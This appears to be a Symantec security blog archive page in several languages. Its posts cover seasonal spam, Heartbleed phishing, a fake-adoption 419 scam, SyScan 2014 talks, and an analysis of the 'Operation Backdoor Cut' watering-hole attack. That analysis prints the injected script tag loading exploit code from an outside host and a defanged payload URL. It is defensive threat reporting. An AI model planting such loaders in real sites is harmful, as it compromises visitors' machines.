.club gTLD Used in Hit-and-Run Spam Attacks
Spammers have been abusing generic top-level domains, released by the Internet Corporation for Assigned Names and Numbers earlier this year, in hit-and-run spam attacks.
Read more…
Tag Archives: Endpoint Encryption
Spammers Push Hard to Capitalize on Father’s Day
Gift coupon and replica spam is prevalent in the run-up to June 15.
Read more…
Spammers Quick to Take Advantage of Second Posthumous Michael Jackson Album
May 13, 2014 witnessed the release of another posthumous compilation album of Michael Jackson recordings, named Xscape. This reworked collection of Jackson tracks was highly anticipated by music lovers, ever since its announcement in March, 2014. News of the album release has once again made Michael Jackson a hot topic and, unsurprisingly, spammers have been quick to exploit this.
This spam campaign uses a very simple email which is crafted to appear like personal mail. It uses Michael Jackson’s name and some of his song titles to create intriguing subject lines. The body of the email contains a link along with a generic comment. A name is used to sign the email message, as seen in Figure 1, in an effort to give the impression that an acquaintance has sent you an email with a link to the new Jackson album. The URL in the body of the email redirects to a fake pharmacy domain which promises cheap medicines without prescription.
The following are subject lines seen in this spam campaign:
- Subject: $ Planet Earth (Michael Jackson poem) $
- Subject: * List of songs recorded by Michael Jackson *
- Subject: * List of unreleased Michael Jackson songs *
- Subject: [ Hold My Hand (Michael Jackson and Akon song) ]
Figure 1. Example of Michael Jackson spam email
We expect more spam exploiting this news in the coming days and believe the possibility of such emails being phishing attempts or containing malware to be very strong.
Users are advised to adhere to the following best practices:
- Do not open emails from unknown senders
- Do not click on links in suspicious emails
- Never enter personal information on suspicious websites, as they may have been created for phishing purposes
- Keep your security software up-to-date to stay protected from phishing attacks and malware
What Spam Would Mom Like This Year?
On May 11, 2014, many countries will celebrate Mother’s Day. Plenty of online articles have been giving gifts ideas and advice for making the day special for mom. Companies have also been sending a huge number of promotional emails with a special message about Mother’s Day. Unsurprisingly, spammers have been exploiting this occasion to send out a fresh batch of spam.
Symantec started observing Mother’s Day spam from early April and we have seen a steady increase in the volume of messages ever since. Previous Mother’s Day spam emails often stuck to certain categories. Spam emails offering flower deliveries, jewelry, personalized messages, coupons, and other gifts for mothers were the most common. Survey and product replica spam were also observed in the past.
The following are the major Mother’s Day themed spam campaigns seen this year.
Flowers for Mother
A beautiful bunch of flowers is something any mother will love and spammers use this theme more than any other. From last month, we have seen numerous emails promising flower deliveries by Mother’s Day. Most of these emails included links that redirected to fraudulent websites and some of the links redirected through multiple domains just to increase the traffic.
Figure 1. Preview of a spam email for ordering flowers
The email headers for this category are as follows.
Subject: $19.99 for Flowers and a Vase for Mother’s Day
From: [brand] <Online@[domain]>
Subject: [brand]: $19.99-Flowers for-Mom &-Vase!
From: “[brand] Special” <[brand]Special@[domain]>
Subject: Hi, 50% off Flowers for Mom
From: Fresh Flowers <[brand]@[domain]>
Personalized jewelry for Mom
Beautiful jewelry, particularly rings and pendants with a personalized inscription, is another theme that is a hit around Mother’s Day. Spammers also claim to offer personalized cards or notes along with the product. Like most spam, these emails will usually have links to other sites.
Figure 2. Preview of a spam email selling personalized rings for Mother’s Day
The email header for jewelry-themed spam messages are as follows.
Subject: Give Mom Something Unique This Year
From: Mothers Rings <rings@[domain]>
Product replica spam
This category is not too different from others, except that these spam emails advertise websites selling fake watches, jewelry, and other expensive goods. We observed these emails earlier this year and we continued to see them today. In these campaigns, the spammers give users deadlines for placing orders for the products.
Figure 3. Preview of replica spam related to Mother’s Day
Email headers seen with this spam campaign are as follows.
Subject: Why so soon?
From: Paige (Mother’s Day deadline) <Paige@[domain]>
Lose weight by Mother’s Day
We believe that Mother’s Day-themed weight loss medication spam is a spinoff from an ongoing weight loss spam campaign, which has been the largest spam category by volume over the last couple of weeks. These emails include links which redirects to fake news sites offering information about new weight loss products.
Subject: Drop 10LB by Mothers Day
From: Rid 20 Pounds 2 Weeks <Sophia@[domain]>
Portuguese promo spam
We have seen a Portuguese spam campaign sending a large volume of messages promoting products related to Mother’s Day. This spam campaign uses the name of an online site which sells personalized products.
This spam campaign included links redirecting to a fraudulent website, along with a bogus opt-out option.
Figure 4. Preview of Portuguese promotional spam exploiting Mother’s Day
Here is the email header for this spam campaign.
Subject: Dia das Mães! Ajudaremos você com o presente.
From: “[brand]OnLine” <envio@painel1.[domain]>
Translation:
Subject: Mother’s Day! We’ll help you with this.
Symantec has observed a high volume of Mother’s Day themed hit-and-run spam recently. Most of these emails included links to a .us top level domain (TLD) which, on further analysis, were found to be registered quite recently. The theme of the domain names show that they were created for a Mother’s Day spam campaign. The domain names followed patterns such as flower-1promo-mothersday and mothersdayflower-special.
Symantec antispam filters successfully blocked these spam mails, but as always, we advise our readers not to respond to any of these emails. Remember, take your time to search for a Mother’s Day gift and don’t just click on links found in these spam mails. Symantec wishes all of our customers a happy Mother’s Day.
IE ???????????????????????????Operation Backdoor Cut?
今年 3 月、シマンテックは Internet Explorer 8 のゼロデイ脆弱性、「Microsoft Internet Explorer のメモリ破損の脆弱性（CVE-2014-0324）」を悪用した水飲み場型攻撃の可能性についてブログでお伝えしました。シマンテックはこの攻撃について調査を続け、この攻撃の目的が日本のバスケットボール界に関係のあるユーザーを狙うことにあったと結論付け、これを「Operation Backdoor Cut（オペレーションバックドアカット）」と命名しました。こうした結論を導き出すことができたのは、長期にわたり観測した結果、この脆弱性を悪用した水飲み場型攻撃が、日本バスケットボール協会（JBA）の公式サイトのランディングページだけをホストとして利用していることが判明したためです。3 月にこのゼロデイ脆弱性が確認されて以降、シマンテックの遠隔測定では、これ以外の Web サイト上で攻撃は確認されていません。
図 1. JBA のランディングページ
JBA の Web サイトが最初に侵害されたのは 2 月中旬のことです。サイトの HTML コードに悪質なスクリプトがインジェクトされ、このスクリプトによってバックグラウンドで外部サイトから悪用コードがロードされていました。その後、このサイトは正常化されたように見えましたが、2 月下旬には再び侵害され、同様のスクリプトがインジェクトされました。そして、3 月 11 日にマイクロソフト月例パッチとして CVE-2014-0324 に対するパッチがリリースされてからわずか数時間後に、三たび悪質なスクリプトがインジェクトされます。この 3 回とも、JBA サイトにインジェクトされたのは、悪用コードをホストしている、さらに別の侵害された Web サイトにトラフィックをリダイレクトするための短いスクリプトです。この Web サイトの所在地は韓国のソウルです。この攻撃で使われているスクリプトの例を次に示します。
<script type=”text/javascript” src=”https://www.[削除済み].kr/uc/inc_jba.php”></script>
侵害されて実際に悪用コードをホストしていたのは、韓国の大手カフェチェーンに関連する Web サイトです。3 回の侵入のたびに、このサイトの別々のディレクトリにファイルが保存されていました。このサイトが、攻撃のメイン部分のホストとして選ばれたのは、著名な企業のサイトであり、企業のネットワークを監視しているセキュリティ製品やサービスから嫌疑をかけられる可能性が低いためでしょう。各ディレクトリに含まれるファイルは、以下のとおりです。
- inc_jba.php
- inc_front_us-en.php
- inc_front_ja-jp.php
- inc_front-2007.php
- inc_front-2010.php
- inc-module.jpg
JBA の Web サイトにインジェクトされた短いスクリプトによって、inc_jba.php ファイルに誘導されます。このファイルには、標的となったユーザーのコンピュータ環境（オペレーティングシステム（OS）のバージョン、OS の言語、インストールされている Microsoft Office のバージョンなど）の情報をチェックする JavaScript が含まれています。この JavaScript は、cookie をチェックとして使う前に、ブラウザがこのページにアクセスしたことがあるかどうかも確認します。過去にアクセスしたことがある場合、ブラウザは悪用コードに誘導されません。これは、ユーザーがセキュリティ研究者である場合を警戒した対策です。コンピュータ環境が、指定された条件を満たしている場合、ブラウザは 4 つの悪用ページのいずれかにリダイレクトされます。悪用コードは、環境に応じて次の 4 つの亜種が用意されています。
- Windows XP – 英語（EN）
- Windows XP – 日本語
- x86 コンピュータの Windows 7 に Office 2007 がインストール
- x86 コンピュータの Windows 7 に Office 2010 がインストール
実行に成功すると、悪用コードは同じディレクトリから inc_module.jpg をダウンロードして実行し、最終的なペイロードの URL を取得します。拡張子は .jpg ですが、これは画像ファイルではなく、実際にはペイロードの場所について暗号化された情報を含むデータファイルです。ブラウザは、ソウルにある別のサーバーにリダイレクトされますが、これは攻撃者が SSL プロトコルでネットワークトラフィックを暗号化して用意したものと考えられます。ソウルに置かれているサーバーの URL は以下のとおりです。
https://login[ドット]imicrosoft[ドット]org/feed
このサイトが、北京に拠点を置く企業によってレンタルされている仮想プライベートサーバー（VPS）上で管理されていた点は注目に値します。この企業は、米国と韓国にある VPS を提供することを業務にしているようです。このプロバイダが選ばれたのは、サーバーの位置情報によるものと思ってまず間違いないでしょう。ペイロードをホストしているサーバーの Geo-IP 位置情報が、攻撃の成否を左右したはずだからです。
図 2. VPS サイトのログイン画面
攻撃者は、早々に撤収して短期間で攻撃活動を終わらせる戦略を取ったか、あるいはセキュリティ研究者がペイロードをダウンロードできないようにする高度な侵入手法を編み出したか、いずれかだったと考えられます。いずれにしても、このサーバーからペイロードを取得することはできませんでした。
シマンテックが確認した限りでは、「Operation Backdoor Cut」の動機は JBA を水飲み場サイトとして利用して、そこからのトラフィックを誘導することだけだと思われます。なぜなら、他の Web サイトはまったく影響を受けていないからです。悪質なスクリプトファイルの名前（inc_jba.php）と、ページへのアクセスカウントに使われた cookie の名前（JBA20140312v2）は、どちらも JBA ページの一部であるかのように偽装されています。シマンテックがこの悪用について確認した検出結果はすべて、JBA の Web サイトからのトラフィックでした。
バスケットボール界が狙われた理由
なぜ日本のバスケットボール界が今回の標的になったのか不思議に思う方もいるでしょう。スポーツ界は国民とも政府とも深く結び付いており、バスケットボールもその例外ではありません。日本のバスケットボール界と日本政府との間には、いささか興味深い関係があります。JBA の会長は、日本の現副総理兼財務大臣です。しかも、元総理大臣でもあります。このような関係こそ、JBA サイトに水飲み場型攻撃が仕掛けられた動機かもしれません。つまり、JBA の Web サイトが、日本政府への格好の侵入口またはゲートウェイと見なされたのかもしれません。
オリンピックが動機という可能性もあります。主要なスポーツ団体のひとつである JBA は、2020 年東京オリンピックの統括機関である東京オリンピック・パラリンピック競技大会組織委員会と密接な関係があります。オリンピック関連組織が頻繁にサイバースパイ活動の標的になることは、よく知られています。たとえば 2011 年、「Operation Shady RAT」と命名された攻撃を調査したときのデータでも、いくつかのオリンピック関連組織が攻撃を受け、そのネットワークのコンピュータが侵入を受けたことが判明しています。日本オリンピック委員会（JOC）も、このとき被害を受けました。日本は昨年、2020 年のオリンピック開催地に選ばれ、現在その準備を進めています。オリンピック開催地という名誉と引き換えにサイバー攻撃が増える可能性については、日本でも十分に認識されています。実際、日本政府は今から 6 年後に開催されるオリンピック大会に備えて、サイバーセキュリティ演習を 3 月に実施したところです。しかし、攻撃はすでに始まっているかもしれず、この演習よりも前にとっくに始まっていた可能性すらあります。
政府機関、製造業、金融などの業種は標的になりやすいと言えますが、標的型攻撃を受けるリスクはどの業種でも変わりません。そのことを認識して、相応にネットワークを保護することが重要です。企業や組織は、準備を怠らず、万一ネットワークに攻撃者の侵入を許してしまった場合の対策を講じておく必要があります。
シマンテックは、「Microsoft Internet Explorer のメモリ破損の脆弱性（CVE-2014-0324）」から保護するために、以下の検出定義ファイルを提供しています。
ウイルス対策
侵入防止システム
- Web Attack: Internet Explorer CVE-2014-0324
- Web Attack: Internet Explorer CVE-2014-0324 2
- Web Attack: Generic Memory Heap Spray 4
* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。
Operation Backdoor Cut Targeted Basketball Community with IE Zero-Day
Back in March, Symantec blogged about a possible watering hole campaign exploiting a zero-day vulnerability for Internet Explorer 8, the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2014-0324). We continued our investigation into this attack, which we dubbed Operation Backdoor Cut, and have concluded that the focus of the attack was to target users associated with the Japanese basketball community. We drew this conclusion from our extended observation of the watering hole campaign abusing the vulnerability being solely hosted on the landing page of the official Japan Basketball Association (JBA) website. No other attacks on any other websites have been confirmed from our telemetry since the disclosure of the zero-day attack in March.
Figure 1. JBA landing page
The JBA website was originally compromised in mid-February to host a malicious script in the site’s HTML code that loaded exploit code from an external site in the background. The site appeared to be cleaned up afterwards; however, it was compromised again in late February to host a similar script. Then, yet again, malicious script was inserted just hours after the release of the patch for CVE-2014-0324 on Microsoft Patch Tuesday back on March 11. In all three occasions, a short script was inserted in the JBA site in order to redirect traffic to another compromised website hosting the exploit code located in Seoul, South Korea. The following is an example of the script used in the attacks:
<script type=”text/javascript” src=”https://www.[REMOVED].kr/uc/inc_jba.php”></script>
The compromised website, associated with a major Korean Café chain, hosted the actual exploit code. In each of the three compromises, the files were stored in different directories on the site. This particular site was most likely chosen to host the main part of the attack due to it being a reputable business which would not be likely to draw suspicion from security products or services monitoring the organization’s network. The following is a list of the files contained in each directory:
- inc_jba.php
- inc_front_us-en.php
- inc_front_ja-jp.php
- inc_front-2007.php
- inc_front-2010.php
- inc-module.jpg
The short script inserted into the JBA website led to the file inc_jba.php. This file contains JavaScript that checks the targeted user’s computer environment things such as the operating system (OS) version, which Microsoft Office version is installed, and the language of the OS. The JavaScript also checks if the browser has ever visited the page before by using a cookie as a check. If the page has been visited before, the browser is not directed to the exploit code as a precaution in case the user is a security researcher. If the environment meets the specified conditions, the browser is redirected to one of four exploit pages. Each of the four variations of the exploit code has been prepared for different environments:
- Windows XP – English (EN)
- Windows XP – Japanese
- Windows 7 with Office 2007 on a x86 computer
- Windows 7 with Office 2010 on a x86 computer
If the exploit code is executed successfully, it downloads inc_module.jpg from the same directory and renders the file to acquire the URL of the ultimate payload. Although the file extension is .jpg, it is not an image file, but is actually a data file containing encrypted information about the location of the payload. The browser then redirects to another server located in Seoul, which we believe was prepared by the attacker using the SSL protocol to encrypt network traffic. The following is the URL of the Seoul-based server:
https://login[dot]imicrosoft[dot]org/feed
Interestingly, this site was maintained on a virtual private server (VPS) rented from a company located in Beijing that appears to specialize in providing VPS located in the Unites States and South Korea. It may be safe to assume that the provider was chosen because of the geo-location of the server. The geo-IP location of the server hosting the payload must have been vital to the campaign’s success.
Figure 2. Login screen of the VPS site
The attackers had either a strategy to close shop quickly to make their campaign short lived or some sophisticated evasion technique was implemented to prevent security researchers from downloading the payload. Either way, we were unable to acquire the payload from this server.
From our observations, we believe the motive of Operation Backdoor Cut was to solely draw traffic from the JBA watering hole site as no other websites appear to have been affected. The name of the malicious script file (inc_jba.php) and the name of the cookie (JBA20140312v2) used to count the number of accesses to the page, both disguise themselves to appear as part of the JBA page. Traffic from the JBA website accounted for all detections observed by Symantec for this exploit.
Targeting the Basketball Community
Some may wonder why the Japanese basketball community is being targeted. The sporting community has important ties with both the nation and its government and basketball is no different. The Japanese basketball community has a rather interesting connection with the Japanese government. The president of the JBA is the current Deputy Prime Minister and Minister of Finance in Japan. He also happens to be the former prime minister. A link such as this may perhaps be the motive for the watering hole attack on the JBA site. The website may have been considered a good entry point or gateway to the Japanese government.
The Olympics may be another motive. As a major sports organization, the JBA has close ties with the Tokyo Organizing Committee of the Olympic and Paralympic Games which is the organizing body of the Tokyo 2020 Olympics. It’s no secret that Olympic organizations are often targets of cyberespionage. For instance, data retrieved from an investigation in 2011 into an operation named Shady RAT revealed that several Olympic organizations were attacked and computers on their network were compromised; the Japan Olympic Committee (JOC) happened to be one of the victims. Last year, Japan won the bid for Tokyo to host the Olympic Games in 2020 and is now preparing for the event. The nation is well aware of the potential for cyberattacks when it comes to the prestigious event. The Japanese government, in fact, held a cybersecurity drill in March in preparation for the Olympics to be held six years from now. However, the attacks may have already begun and may have started long before this exercise was launched.
Sectors including government, manufacturing, and finance may be common targets; however, any industry could potentially be at risk of a targeted attack. It is important to realize this and protect networks accordingly. Organizations should be prepared and draw up plans in case attackers happen to intrude the network.
Symantec has the following protection in place to protect against the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2014-0324):
AV
IPS
Heartbleed ????????????????
寄稿: Binny Kuriakose
シマンテックは最近、Heartbleed 脆弱性に便乗したフィッシングメールを確認しました。このフィッシング攻撃は、米軍関係の保険サービスを装って Heartbleed 脆弱性に関するメッセージを送信し、情報を収集しようとします。
Heartbleed は最近発見されたセキュリティ脆弱性で、OpenSSL のバージョン1.0.1 から 1.0.1f に影響します。この脆弱性は OpenSSL 1.0.1g で修正済みです。脆弱性の詳細や対処方法については、シマンテックのセキュリティアドバイザリーを参照してください。
スパマーやフィッシング攻撃者は、最新のニュースや話題を利用してペイロードを偽装します。フィッシングメールでは多くの場合、セキュリティに関する懸念につけ込んで、ソーシャルエンジニアリングの手口を本物らしく見せようとします。電子メールに仕込まれたペイロードによって、受信者が機密情報を漏らすように仕向けるのです。
今回の場合、次のような電子メールが送られてきます。
図 1. Heartbleed 脆弱性に便乗したフィッシングメール
この例には、興味深い特徴がいくつかあります。
- X-Mailer ヘッダーを見ると、送信者が使っている電子メールクライアントが非常に古いもの（Microsoft Outlook Express 6.00.2600.0000）だと分かります。多くのユーザーが依然として古い電子メールクライアントを使っていますが、最新のオンラインビジネスでそのような電子メールクライアントを使ってセキュリティに関する通知を送信することはほぼありません。
- 「has initiate」という文法上の誤りがあります。攻撃者は、最新の話題をいち早く悪用して新しいフィッシング攻撃を実行しようと焦るため、文法の間違いを犯しがちです。また、送信者の母国語が英語ではないことも珍しくありません。
- さらに、このフィッシングメールは有名な米軍関係の保険サービスからのセキュリティ警告と称しているにもかかわらず、掲載されている「ログイン」リンクをクリックすると、実際には危殆化したトルコの製造業社のサイトにアクセスします。
以上は、フィッシングメールの判断基準のすべてではありませんが、フィッシング攻撃にありがちな間違いや矛盾を示しています。
Heartbleed に関するアドバイザリーで詳しく説明しているように、個人情報の提供や更新を要求する電子メールには警戒するようにしてください。また、そのようなメッセージに含まれるパスワードリセットやソフトウェア更新のリンクは、決してクリックしないでください。個人情報の更新や変更が必要な場合は、該当する Web サイトに直接アクセスして実行することをお勧めします。
* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。
Phishers Pump out Heartbleed Attacks
Contributor: Binny Kuriakose
Symantec has recently detected phishing emails related to the Heartbleed Bug. The phisher attempts to gather information by posing as a US military insurance service with a message about the Heartbleed bug.
The Heartbleed bug is a recently discovered security vulnerability affecting OpenSSL versions 1.0.1 to 1.0.1f. This vulnerability was fixed in OpenSSL 1.0.1g. Symantec’s security advisory gives more details on the bug and offers remediation steps.
Spammers and phishers are known to use trending news and popular topics to disguise their payloads. In the case of phishing emails, phishers often cite security concerns to legitimize and disguise their social engineering methods. The payloads of these emails attempt to compel the messages’ recipients into divulging sensitive information.
In this case, the phishers send the following email.
Figure 1. Preview of the Heartbleed phishing mail
There are several interesting attributes of this example which should be pointed out.
- According to the X-Mailer header, the sender is using a very old mail client (Microsoft Outlook Express 6.00.2600.0000). Although there are plenty of users still utilizing old email software, it is highly unlikely that a modern online business would be using a desktop mail client to send out security notifications.
- Notice the unusual grammar with the usage of “has initiate”. Often, phishers will attempt to quickly capitalize on a new topic. In doing so, they will usually make grammatical errors due to the pressures of sending out a new phishing campaign as soon as possible. Also, phishing emails are often sent by people who don’t speak English as their first language.
- Additionally, the phishing email purports to be a security alert from a reputable US military insurance service but contains a “Sign In” page that actually points to a compromised Turkish manufacturing site.
Although this is not an exhaustive list of identifying factors for phishing emails, it highlights some of the irregularities and inconsistencies often seen in phishing campaigns.
As detailed in the official Symantec Heartbleed Advisory, Symantec warns users to be cautious of any email that requests new or updated personal information. Users should not click on any password reset or software update links in these messages. If users need to update or change their personal information, it is best to do so by directly visiting the website.
Aprovechan Interés en Adopción de Bebés para Estafas Electrónicas
Una variación de la popular estafa cibernética 419 (419 email scam) está siendo usada por defraudadores electrónicos para aprovecharse de parejas desesperadas por adoptar un niño(a). Una vez que los interesados han sido cuidadosamente involucrados en un proceso de adopción falso, se les pide dinero para cubrir los trámites legales y administrativos.
Aunque los más recientes fraudes 419 se basan principalmente en la inocencia de las víctimas (más que en la ingenuidad por parte de los spammers, quienes distribuyen los correos), algunos defraudadores están empezando a hacer mayores esfuerzos por comunicarse directamente con la víctima para ganarse su confianza. La investigación que hizo Symantec sobre este tipo de fraudes electrónicos reveló que están bien preparados, se presentan de forma convincente y pueden tomar hechos de la vida real para hacer que sus historias sean más creíbles y más coherentes ante cualquier sospecha.
Aunque los fraudes de adopciones falsas ya se habían visto antes, en esta ocasión Symantec observó detalles de antecedentes de la vida real y a defraudadores que hacen un gran esfuerzo por enganchar a sus víctimas.
Figura 1. Correo fraudulento sobre tema de adopción usado para fraude en línea
En lugar de usar historias comunes, donde se ofrece un premio de lotería en el extranjero o se habla de un líder africano que está por morir, este tipo de estafas tiene un enfoque diferente. Por ejemplo, en el correo que Symantec identificó había muchas señales que indicaban que era un fraude, como que, por ejemplo, el mensaje se envió a destinatarios ocultos (a través de cuentas de correo hackeadas, originarias de Hungría pero enrutadas a través de Italia) y el correo requería responder a un proveedor de correo diferente. Estas son características típicas de un fraude donde suele hablarse de una cantidad de dinero inicial, así que decidimos investigar a fondo para averiguar cómo el defraudador pretendía pedir el dinero.
En un intento por hacer que todo pareciera lo más legítimo posible, el estafador cibernético nos hizo pasar por varias etapas antes de finalmente pedir que enviáramos dinero. Durante nuestro intercambio de mensajes –que consistió de 11 correos electrónicos durante dos meses- nos informó con gran detalle sobre la historia de la madre y nos explicó sobre las regulaciones que tienen que ver con una adopción privada e independiente. Incluso nos enviaron un formato falso de adopción, junto con fotos del bebé.
Figura 2. Fotos de bebés ofrecidos en adopción forman parte de esta campaña de estafas 419
Figura 3. Formato de adopción falso usado para ganarse la confianza de la víctima
Cuando el defraudador finalmente decidió pedirnos dinero, se nos solicitó que enviáramos $2,500 dólares para cubrir la “Cuota para la Preparación de la Orden del Tribunal y Documentación”. Esto debía realizarse en un primer pago de $1,500 dólares y otro de $1,000 mediante transferencias electrónicas. Es probable que el defraudador pidiera los pagos de esta manera para que la transacción pareciera más legítima y tuviéramos más confianza.
Figura 4. El defraudador solicita el dinero por la adopción del bebé
Cuando el defraudador proporcionó un nombre y una dirección para recibir el envío del pago, asumimos que esta información era falsa. Sin embargo, buscamos la dirección y esto nos llevó a un descubrimiento sorprendente.
La dirección de la persona a quien deberíamos pagarle era la de un abogado legítimo de Asuntos Familiares y Adopciones (que no tenía nada que ver con este tipo de fraude cibernético). Esto es algo diferente pues generalmente la mayoría de los defraudadores usan un nombre falso, sin embargo, robar la identidad de una persona real puede hacer que el fraude parezca más convincente. La posible víctima, sospeche algo o no, puede buscar el nombre y confirmar que se trata de un abogado legítimo que labora en Estados Unidos. Así que todo parece ser congruente y entonces envían el dinero y con eso se convierten en una víctima consumada del fraude.
La ejecución de este fraude cibernético relacionado con el tema de una adopción muestra un nuevo enfoque por parte de los estafadores 419, algunos de los cules han regresado al punto de origen en su enfoque. En una entrevista con The Economist hace dos años, revelé como algunos defraudadores de este tipo han pasado de enviar mensajes de fraude que parecen oficiales y legítimos a misivas mucho menos profesionales donde se ofrecen grandes cantidades de dinero en escenarios poco probables. Ninguna de estas estafas son muy sofisticadas porque los defraudadores buscan víctimas que se “auto-eligen”.
Este ejemplo de estafas en línea sirve para recordar a los usuarios que no en todos los fraudes donde se pide dinero por adelantado son intentos por lograr que la víctima más crédula caiga en ellos. Algunos defraudadores usan tácticas creativas (como ésta, que durante meses tuvo detalles de antecedentes convincentes y formatos que parecían oficiales). De esta forma, no hay duda de que la imaginación de los estafadores cibernéticos y su creatividad seguirán evolucionando.
SyScan 2014 ?????????????
業界のカンファレンスは、セキュリティに関する新しい動向を知り、最新の情報を入手するうえで絶好の場所です。私が先日参加した SyScan（Symposium on Security for Asia Network）は、毎年シンガポールで開催されているカンファレンスで、世界中からコンピュータセキュリティの研究者が集います。今年の SyScan では、セキュリティに関する俗説が払拭されたほか、いくつか興味深いトピックについて議論が交わされました。今年の SyScan で私が興味を覚えたテーマとデモを以下に挙げておきます。
スマートカーのリスク
最近の自動車はほとんど、エンジンコントロールユニット（ECU）というコンピュータを装備しており、エンジンと他の構成要素との通信が可能です。SyScan 2014 に参加した研究者は、オンラインストアで購入した中古の ECU デバイスを使って、デスクトップ上で自動車環境のシミュレーションに成功したことを報告しました。この研究者によると、加速やブレーキ、ハンドル操作といった基本的な運転操作を実行できたほか、その基盤となっている自動車専用プロトコルも理解できたと言います。つまり、ひとたび攻撃者が ECU の制御権を握ったら、自動車をひととおり制御できるようになるということです。
自動車の ECU を制御できるというのは、窓の開閉やライトの点消灯といった自動機能を操作できることよりもはるかに危険です。攻撃者に ECU の制御権を奪われないようにする万全な対策が講じられないとしたら、それほど怖いことはありません。モノのインターネット（IoT）の一部になる自動車が増えれば増えるほど、これは深刻な問題になるでしょう。Microsoft 社は最近、Windows 車載情報システムの最新バージョンをテストしており、Apple 社からはすでに CarPlay が発表されています。CarPlay は、車に組み込んだディスプレイに iPhone のインターフェースを表示できるエンターテインメントシステムです。
携帯 POS がマルウェアに感染
2014 年には、店頭レジ端末（POS）を狙うマルウェアがすでに出現しており、その一部は小売業界に対する大規模な攻撃にも利用されていました。最近では、携帯 POS（mPOS）端末も標的になりつつあります。mPOS デバイスは、特に中小規模の企業で、カード決済に多く利用されるようになってきています。
大部分の mPOS デバイスは Linux 上で稼働していますが、SyScan に参加した研究者はリムーバブルドライブや Bluetooth を利用して mPOS デバイスに侵入し乗っ取ることに成功したと言います。その主張を証明するために、この研究者は mPOS デバイスにゲーム「Flappy Bird」をインストールし、暗証番号入力ボタンをコントローラとして使って、そのデバイスの液晶画面で Flappy Bird をプレイしました。
また、支払い情報を追跡できるマルウェアがあれば mPOS デバイスを攻撃できるという可能性についても指摘しています。攻撃に成功すれば、オンラインで記録を共有することも、あるいは任意の暗証番号でカードの決済を受け付けるといった特殊な機能を実行することもできるのです。
RFID デバイスと NFC デバイスの普及
今では誰もが、電波による個体識別（RFID）と近距離無線通信（NFC）に対応したデバイスで通信するようになっています。カード式のドアロック、カード型乗車券、非接触型クレジットカードなどが日常的に使われており、電波は至るところに飛び交っています。
「RFIDler」は、汎用タグの読み書きに使われる、オープンソースの低レベル RFID 通信プラットフォームのプロトタイプとして SyScan で提唱されました。RFIDler は、間もなく一般に利用できるようになる予定です。RFIDler は使い方も簡単ですが、損害を与えるのも同じくらい容易であることに注目が集まりました。たとえば、既存のカードはものの数秒もあれば複製できてしまいます。RFIDler プラットフォームの開発者によると、カードのフォーマットが不明な場合でも、プラットフォームの拡張性ゆえに、1 週間足らずで新しいフォーマットを追加できるということです。
今では拡張性の高いリーダーやライターが存在するので、こういったデバイスが攻撃の標的になるのも時間の問題かもしれません。
モバイルセキュリティと匿名性
スマートフォンなしでは生活できないというほどのユーザーであれば、デバイスをなくした結果の深刻さについても考えたことがあるでしょう。そうした不安を和らげるために、SyScan 2014 に参加したある研究者は Android の強化型 ROM ソリューション、通称「Cryptogenmod」を発表しました。Cryptogenmod のベースになっている Cyanogenmod は、Android をベースにしたモバイルデバイス用のオープンソース OS です。Cryptogenmod の目的は、リモートアクセスと物理アクセスに対する保護機能を最小限の ROM に実装することにあります。リモートアクセスに対する保護は、攻撃対象領域を減らすことによって実現しているので、スマートフォンに Web ブラウザやアプリストアは搭載されません。物理アクセスに対する保護はこれよりも複雑で、セキュアなアプリケーションコンテナ、強力な暗号化、悪影響のある環境に関するいくつかの指標などを利用して実現されます。
その他の安全対策として、SIM カードの取り外しや、デバッガの接続を検出する機能も紹介されました。このような行為が検出された場合には、アプリケーションコンテナのマウントが解除され、再度開くためにはパスコードが必要になります。同時に、スマートフォンは自動的にロックされ、所有者でなければ再ログインできなくなります。このソリューションがあれば、スマートフォンを紛失した場合でもデータの安全は確保されます。とはいえ、インターネットに接続されていながら Web を閲覧することもできず、カメラも使えない（カメラからユーザーの位置情報が漏えいすることが知られています）デバイスを使いたいと思うユーザーがいるかどうかは疑問です。それでは、どう考えても「スマートフォン」ではありません。
総じて言うと、スマートフォンも依然として注目を集めるテーマである一方、今後の見通しとして業界の話題が集中しているのは、やはりモノのインターネットです。それほど人々は、時間と労力を節約するためにスマートデバイスへの依存を徐々に強めているのです。
さらに詳しくは、SyScan の Web サイトで公開されているビデオやホワイトペーパーをご覧ください。
* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。